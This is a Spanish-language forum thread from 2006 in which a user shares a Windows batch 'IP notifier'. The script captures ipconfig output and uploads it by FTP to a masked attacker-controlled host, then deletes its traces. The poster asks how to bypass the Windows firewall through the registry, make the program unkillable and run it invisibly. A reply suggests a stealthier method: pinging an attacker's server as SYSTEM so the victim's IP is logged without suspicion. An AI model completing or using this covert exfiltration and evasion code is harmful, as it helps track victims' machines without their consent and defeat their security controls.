Notificador de IP en BATCH ( Totalmente didáctico )

Iniciado por R2d2_, 28 Julio 2006, 07:28 AM

0 Miembros y 1 Visitante están viendo este tema.

R2d2_

Hola a to2 chicos, estoi aprendiendo batch y se me ocurrió hacer un notificador de ip ... Es algo que lo he hecho mas que nada para empezar con el lenguaje, vamos que no es una herramienta especializada para hack, si no un simple programa con poca funcionabilidad ya que como ahora vereis, tras un router no tiene funcionabilidad :D



@echo off
set fichtemp=%temp%/ip.txt
set ftp=ftp.txt
goto notificador
:notificador
ipconfig > %fichtemp%
rem #Hasta aqui tenemos su ip, obtenida mediante ipconfig#
rem #y la hemos estampado en un txt. Ahora iniciaremos#
rem #una sesion ftp para subir este archivo con esos#
rem #datos a una maquina ftp bajo nuestro poder.#
echo Comandos para FTP, Linea 1 >> %ftp%
echo Comandos para FTP, Linea 2 >> %ftp%
echo Comandos para FTP, Linea 3 >> %ftp%
echo Bye >> %ftp%
rem #Para subir ese archivo por ftp necesitamos abrir#
rem #una sesion de ftp e introducir comandos de ftp#
rem #que estan en ftp.txt, 1 comando por cada linea#
rem # ( Comandos de ftp incompletos... )#
goto ftp
:ftp
ftp -s:ftp.txt XXX.XXX.XXX.XXX
del %fichtemp%
del %ftp%
exit


Como vereis el programa es totalmente didáctico, tiene poco o ningun uso ( para notificar la ip teneis el excelente Kotilla v1.0 )....

Ahora, ( mas que nada para aprender) me gustaria perfeccionar el programa en :
-Conseguir los comandos de FTP apropiados para :
::Abrir sesion
::Subir archivo
::Cerrar sesion
-Agregar una llave al registro, para saltarse el firewall de windows. ( No es muy dificil )
-Capacitar el programa de inmunidad: Es decir, que no pueda ser cerrado de ningun modo mientras se ejecuta... FTP es lento y mientras sube el archivo y demas se veria claramente. A poder ser tambien seria excepcional hacer su ejecucción invisible ( no se si eso es posible ).
------------------------------------------------------------------------
Antes de nada, agradezco a todo programador que me heche una mano ya que todas estas cosas las pido no para perfeccionar el programa , si no para aprender a hacerlo y saber hacerlo por mi mismo en un futuro :D...

Ciao y gracias a to2 de antemano :D

sirdarckcat

Hola!

yo hice algo similar, solo q para no levantar sospechas, ni mostrar mi IP, lo que hacia era hacer "PING" a un server, y despues ver en el log del servidor, los IP que habian hecho PING :P si corres el programa como SYSTEM, y lo dejas con -t aunque se desconecte y vuelva a conectar, de internet, tendras la IP mas actual.

Saludos!!

R2d2_

cierto!!! Que buena idea!! :P

Me parece que con tu permiso jejejeje voi a hacer el Notificator v1.2 :P

Te guardaré una linilla de comentario al final del programa
Agradecimientos: A SirDarckCat por prestarme su cerebro :D